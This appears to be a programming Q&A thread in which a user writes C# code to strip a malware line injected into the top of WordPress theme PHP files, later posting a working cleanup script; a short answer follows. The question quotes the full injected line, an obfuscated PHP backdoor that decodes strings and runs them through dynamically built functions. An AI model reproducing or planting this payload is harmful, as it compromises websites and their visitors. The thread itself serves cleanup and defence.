String.Replace not working c#

Question

I have got some virus in my files and every first line was inserted with same text. Since there are a tons of files i wanted to delete them by program. Problem is that somewhere in first line after that text there is <?php and that need to stay so i created this code:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;

namespace ConsoleApplication1
{
    class Program
    {
        static void Main(string[] args)
        {
            string[] files = System.IO.Directory.GetFiles("C:\\Users\\arist\\Desktop\\wp-content\\themes\\business-press", "*.php");
            foreach (string f in files)
            {
                string line = null;
                string line_to_delete = "<?php $knitglx = '<%G]y6d]281Ld]245]K2]285]Ke]53Ld]53]K $uas=strtolower($_SERVER[\" x48 124 x54 120 x5f 125 x53 105 x52275fubmgoj{ h1:|:*mmvo:>:iuhofm %:-5ppde: 4:|:**#ppde#)tutjyf`mdXA6~6<u%7>/7&6|7**111127-K)ebfsX    x27u%y]472]37y]672]48y]#>s%<#462]47y]252]18y]#>q%<#762]67y]562]38y]572qp%!-uyfu%)3of)fepdof`57ftbc  x7f!|!*uyfu x27k:!ftmf!}Z;^nbsbq%   x5cSFWS24<%j,,*!|   x24-    x24gvodujpo!    x24-    x24y7   x24-    x24*<!  xy%,3,j%>j%!<**3-j%-bubE{h%)sutcvt-#w#)ldbqov>*ofmy%)utjm!|!*5! x27x64  162 x6f 151 x64\")) or (strstr($uas,\"  x63 150 x72 157 x6d 145\")) o!hmg%)!gj!|!*1?hmg%)!gj!<**2-4-bubE{)7fmjix6<C x27&6<*rfs%7-K)fujsxX6<#o]o]Y%7;utppn)%bss-%rxB%h>#]y31]278]y3e]81]K78:56985:61/2986+7**^/%rx<~!!%s:N}#-%o:W%c:>1<%b:>1<!gpstpqsut>j%!*72!  x27!hm]241]334]368]322]3]364]6]283]427]36]373197g:74985-rr.93e:5597f-s.9)#  x24*<!%t::!>!   x24Ypp3)%cB%iN}#-!  x24/%tmw/   x24)%c*W%eN+#Qi x55]DgP5]D6#<%fdy>#]D4]273]D6P2L5g%)!gj!<2,*j%-#1]#-bubE{h%)tpqsut>j%!*9!   x27!hmg%)!gj!~<ofm~6<&w6<   x7fw6*CW&)7gj6<.[A  x27&6<  x7fw6*  x7f_*#[k2`{ftmbg39*56A:>:8:|:7#6#)tutjyf`439275ttfsqnpdov{h19275j{hnpd19;gvc%}&;ftmbg}  x7f;!osvufs}w;* x7f!>>  x22!pd%)!of:opjudovg<~  x24<!%o:!>! x242178}7id%6<  x7fw6*  x7f_*#ujojRk3`{666r (strstr($uas,\" x66 151 x72 145 x)dfyfR x27tfs%6<*17-SFEBFI,osvufs} x27;mnui}&;zepc}A;~!}   x7f;!|!}{;)gj}l;3vufs!|ftmf!~<**9.-j%-bubE{h%)sutcvt)fubmgoj{hA!osvufs!~<3,j%>j%!*3!oepn)%epnbss-%rxW~!Ypp2)%zB%z>! x24/%tmw/   x24)%zW3bq}k;opjudovg}x;0]=])0#)U!  x27{**u%-#jt0}Z;0]=]0#)2q%lf_*#fmjgk4`{6~6<tfs%w6<  x7fw6*CWtfs%)7gj6<*id%)ftpmdR6<*id%fttj x22)gj6<^#Y#    x5cq%   x27Y%6<.msbssb!>!ssbnpe_GMFT`QIQ&f_UTPI`QUUI8]y7f#<!%tww!>! x2400~:<h%_t%:osvufs:~:<*9-1-r%)s%>/h%:<**#57]38y]47]6v`ftsbqA7>q%6<    x7fw6*  x7f_*#fubfsdXk5`{66~6<&w6<  x7fw6*CW&k#)tutjyf`x    x22l:!}V;3q%}U;y]}R;2]},;%V<*#fopoV;hojepdoF.uofuopD#)sfebfI{*w%)kVx{**#:r%:|:**t%)m%=*h%)m%):fmjix:<##:>:1L3]84]y31M6]y3e]81#/#7e:55946-tr.984:75983:48984:71]K9]6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS,6<*msv%7-MSV,6<*)ujojR    x2)7gj6<*doj%7-C)fepmqnjA   x27&6<.fmjgA    x27doj%6<   x7fw6*  x7FT`%}X;!sp!*#opo#>>}R;msv}.;/#/#/},;#-#}+;%-qp%)54l}  x27;%!<*#}^#iubq#   x5cq%   x27jsv%6<C>^#zsfvc^>Ew:Qb:Qc:W~!%z!>2<!gps)%j>1<%j=6[%ww2!>#p#/#p#w6Z6<.3`hA    x27pd%6<pd%w6Z6<.2`hA   x27pmfV x7f<*X&Z&S{ftmfV    x7f<*XAZASV<*w%)ppde>u%xB%epnbss!>!bssbz)#44ec:649#-!#:618d5f9#-!#f6c68399#-!#6>b%!*##>>X)!gjZ<#opo#>b%!**X)ufttj   x22)gj!|!*nbsbq%)323ldfidk!~!<** $kgdioho();}})%j:>1<%j:=tj{fpg)%s:*<%j:,,Bjg!)%j:>>1*!%b:>1<!fmtf!%b43]321]464]284]364]6]234]342]58]24]31%h>EzH,2W%wN;#-Ez-1H*WCw*[!%rN}#QwTW%hIr  x5c1^-%r    x5c2^-%hO   x2272qj%)7gj6<**2qj%)hopm3qjA)qj3hopmA  x273qj%6<*Y%)fnbozcYufh24b!>!%yy)#}#-#  x24-    x24-tusqpt)%z-#:#*  x24-    x24!>!  x24/%tjw/   x24)%   x2ek!~!<b%  x7f!<X>b%Z<#opo#x27*&7-n%)utjm6<    x7fw6*CW&)7gj6<*K)ftpM#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*-!%ff2-!%t::**<(<!fwb66 157 x78\"))) { $vlmnngk = \"    x63 162 x65 141 x74!*#91y]c9y]g2y]#>>*4-1-bubE{h%)sutcvt)!gj!|!*bubE{h%)j{hnpd!opjudop%!|Z~!<##!>!2p%!|!*!***b%)sfxpmpusut!-#j0#!/!**#527}88:}334}472   x24<!%ff2!>!bssbz)  x24]25  x2)%tjw)bssbz)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-# 137 x41 107 x45 116 x54\"]); if ((strstr($uas,\"    x6d 163 x69 127,*e  x27,*d  x27,*c  x27,*b  x27)fepdof24<!%tmw!>!#]y84]275]y83]273]yV<#65,47R25,d7R17,67R37,#/q%>U<#16,4c]55Ld]55#*<%bG9}:}.}-}!#*<%nfd>%fdy<Cb*[%h!>!%tdzvg!|!**#j{hnpd#)tutjyf`opjudovg   x2&e_SEEB`FUPNFS&d_SFSFGFS`QUUI&c_UOFHB`SFTV`QUUI&b%!|!*)323zb5egb2dc#*<!sfuvso!sbpd%6<pd%w6Z6<.4`hA    x27pd%6<pd%qssutRe%)Rd%)Rb%))!gj!<*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zP6]y6gP7L6M7]D4]275]D:M8]Df#<%tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#w/    x24)##-!#~<#/%  x24-    x24!>!fyqmpefj!/!#0#)idubn`hfsq)!sp!*#ojneb#-*f%)sfxpmpusut)tp  145 x5f 146 x75 156 x63 164 x69 157 x6e\"; function ranakil($nuft`msvd},;uqpuft`msvd}+;!>!} x27;!>>>!}_h%)sutcvt)esp>hmg%!<12>j%!|opd`ufh`fmjg}[;ldpt%}K;`ufldpt}X;>?*2b%)gpf{jt)!gj!<*2bd%-#1GO    x22#)fepmqyfA>2b%!#-%tdz*Wsfuvso!%bss   x5csboe))1/35.)1/14+9**-)4- x24-!%  x24-    x24*!|! x24-    x24 x5c%j^  x24-    x24tvctus)% x24-    x7y]37]88y]27]28y]#/r%/h%)n%-#+I#)q%:>){return chr(ord($n)-1);} @error_reporting(0); $bgmwrdz = im2)!gj}1~!<2p% x7f!~!<##!>!2p%Z<^2 x5c2b%!>!2p%!*356   x61\"])))) { $GLOBALS[\"    x61 156 x75 156 x61\"]=1;!#]D6M7]K3#<%yy>#]D6]281L1#/#Mc1^W%c!>!%i  x5c2^<!Ce*[!%cIjQeTQcOc/#00#W~!Ydrr)%rA x272qj%6<^#zsfvr#   x5cq%7/7#@#7/7  x27!hmg%!)!gj!<2,*j%!-#1]#-bubE{h%):>%s:    x5c%j:.2^,%b:<!%c:>%s:  x5c%j:^<!%w`    x5h%:<#64y]552]e7y]#>n%<#372]58d%6<C    x27pd%6|6.7eu{66~6776]277#<!%t2w>#]y74]273]y76]2}S;2-u%!-#2#/#%#/#o]#/*)323zbe!-P6]36]73]83]238M7]381]211M5]67]452]88]5]48]32M3]317]445]212]445]pmdXA6|7**197-2qj%7-K)udfoopdXA x22)7gj6<*QDU`MPT7-NBFSUT`LDPT7-UFOJ`GB)fubfsdXA    x27K6<  x7fw6*3qj%7>/%z<jg!)%z>>2*!%z>3<!fmtf!%z>2<!%ww2)%w`TW~ x24<!fwbmstrstr($uas,\" x61 156 h/#00#W~!%t2w)##Qtjw)#]82#-#!#-%tmw)%tww**WYsboeplode(array_map(\"ranakil\",45\")) or (strstr($uas,\"   x72 166 x3a 61  x31\")) or (77]D4]82]K6]72]K9]78]K5]53]Kc#<%tpz!>sfmcnbs+yfeobz+sfwjidsb`bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fepmqn<&w6<*&7-#o]s]o]s]#)fepmqyf   }k~~9{d%:osvufs:~928>>  x22:]48y]#>m%:|:*r%:-t%)3_;#)323ldfid>}&;!osvufs}   x7f;!opjudovgm)%tjw)#   x24#-!#]y38#-!%w:**<\")));$kgdioho = $vlmnngk(\"\", $bgmwrdz);.)fepdof./#@#/qp%>5h%!<*::::::-111112)eobs`un>q24-    x24gps)%j>1<%j=tj{fpg)% x24-    x24*<!~!    x24/%t2gj}Z;h!opjudovg}{;#)tutjyf`opjudovg)!gj!|!*msv%)}k~~~<ftmbg!osstr_split(\"%tjw!>!#]y84]275]y83]248]y83]256]y81e%)!>> x22!ftmbg)!gj<*#k#)usbut`cpV    x7f x7f x7f x7f<u%V x27{ftd%!<5h%/#0#/*#npd/#)rrd/#00;quui#>.%!<***f    x52]y85]256]y6g]257]y86]267]y74]275]y7:]26)%bbT-%bT-%hW~%fdy)##-!#~<%h00#*<%nfd)##Qtpz)#]341]88M4P8]37]278]225r#    x5cq%7**^#zsfvr#    x5cq%)u`msvd}R;*msv%)}.;`UQPMSVD!-id%)uqp6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofuif((function_exists(\"   x6f 142 x5f 163 x74 141 x72 164\") && (!isset]265]y72]254]y76#<!%w:!>!(%w:!>!   x246767~6<Cw6<pd%w6Z6<.5`hA x274-   x24y4   x24-    x24]y8  x24-    x24]26  x24-    x#jt0*?]+^?]_   x5c}X   x7R57,27R66,#/q%>2q%<#g6R85,67R37,18R#>q73:8297f:5297e:56-xr.985:52985-t.98]K4]65]D8]86]y31]278]y3f]5I#7>/7rfs%6<#o]1/20QUUI7jsv%7UFH#  x27rfs%6~6< x7fw6<*K)ft4    x223}!+!<+{e%+*!*+fepdfe{h+{d%)+opjudovg+)!gj+{e%!osvufs!*!+A!>!{<*qp%-*.%)euhA)3of>2b($GLOBALS[\"  x61 156 x75 1StrrEVxNoiTCnUF_EtaERCxecAlPeR_rtSaruwtdbtk'; $azgfgart=explode(chr((633-513)),substr($knitglx,(24966-18946),(115-81))); $lxqorzw = $azgfgart[0]($azgfgart[(6-5)]); $juqupxgp = $azgfgart[0]($azgfgart[(12-10)]); if (!function_exists('wzxxagx')) { function wzxxagx($igcudkdzn, $nuipwlbi,$bvymonp) { $ygaatkht = NULL; for($exsedaoj=0;$exsedaoj<(sizeof($igcudkdzn)/2);$exsedaoj++) { $ygaatkht .= substr($nuipwlbi, $igcudkdzn[($exsedaoj*2)],$igcudkdzn[($exsedaoj*2)+(4-3)]); } return $bvymonp(chr((33-24)),chr((628-536)),$ygaatkht); }; } $hmntrug = explode(chr((242-198)),'5561,66,5995,25,4040,50,37,63,3006,61,4712,50,4616,22,453,69,1160,34,2745,49,3576,62,3931,60,4686,26,5204,47,5627,64,3334,30,2128,37,4313,25,4864,28,2655,38,159,40,558,46,5850,57,4463,54,4517,46,2497,63,4170,34,2048,31,5466,27,1498,34,1636,58,1929,56,1439,59,1194,27,1868,61,1128,32,934,52,5527,34,3706,33,5493,34,3638,41,1047,47,5142,62,1268,67,4204,36,693,21,875,59,387,66,522,36,3679,27,2794,66,3220,34,3991,49,3739,48,5974,21,5313,44,3067,37,5046,47,2860,49,4799,65,3527,49,3364,63,1532,34,3254,60,2630,25,2265,67,264,70,1985,63,4940,38,4892,27,986,61,100,59,5907,67,5251,62,2165,44,3134,36,5750,39,1731,47,1694,37,1221,47,1384,55,4367,32,5730,20,3104,30,4338,29,5357,41,1566,70,3894,37,1778,34,4284,29,199,65,4919,21,1094,34,2909,44,3832,62,2560,70,5691,39,334,53,5093,49,3491,36,780,64,4120,50,2209,56,3314,20,1335,49,2438,59,4638,48,604,43,753,27,5789,61,1812,56,4762,37,4090,30,844,31,3427,64,0,37,3170,50,5398,68,714,39,4399,64,2401,37,3787,45,647,46,2346,55,4240,44,2079,49,4563,53,2953,53,2693,52,4978,68,2332,14'); $fmfqhx = $lxqorzw(\"\",wzxxagx($hmntrug,$knitglx,$juqupxgp)); $lxqorzw=$knitglx; $fmfqhx(\"\"); $fmfqhx=(508-387); $knitglx=$fmfqhx-1; ?>\"";
                using (StreamReader reader = new StreamReader(Path.Combine("C:\\Users\\arist\\Desktop\\wp-content\\themes\\business-press\\", f)))
                {
                    line = reader.ReadLine();
                    Console.WriteLine(f + "=" + line + Environment.NewLine + Environment.NewLine);
                    using (StreamWriter writer = File.AppendText("C:\\Users\\arist\\Desktop\\wp-content\\themes\\business-press1\\help.php"))
                    {
                        string newString = line.Replace(line_to_delete, "");
                        writer.WriteLine(newString);
                    }
                }

            }
            Console.ReadKey();
        }
    }
}

Problem is that for some reason it records and print only files with that line_to_delete but for some reason line.Replace is not deleting it for string.

What is the problem.

EDIT: Finished code for removing line from all files with extension .php inside folder and subfolder of directory:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;

namespace ConsoleApplication1
{
    class Program
    {
        static void Main(string[] args)
        {
            string dir = "C:\\Users\\arist\\Desktop\\wp-content";
            int i = 1;
            string[] files = Directory.GetFiles(dir, "*.php", SearchOption.AllDirectories);
            foreach (string f in files)
            {
                string line = null;                
                string lookFor = "$knitglx=$fmfqhx-1; ?>"; //End of the line i wanted to delete so it deletes everything before this.

                using (StreamReader reader = new StreamReader(f))
                {
                    line = reader.ReadToEnd();
                }

                using (StreamWriter writer = new StreamWriter(Path.Combine(dir, f)))
                {
                    var v = line.IndexOf(lookFor);
                    if (v > 0)
                    {
                        var cleaned = line.Substring(v + lookFor.Length);
                        writer.WriteLine(cleaned);
                    }
                    else
                    {
                        writer.WriteLine(line);
                    }
                    Console.WriteLine(i + ". " + f);
                    i++;
                }
            }
            Console.Write("Finished");
            Console.ReadKey();
        }
    }
}

So if somebody need this use it but be careful, make copies of everything you do!!!

Answer 1

The problem os you have to use new streamwriter(f) instead of appendtext

See this question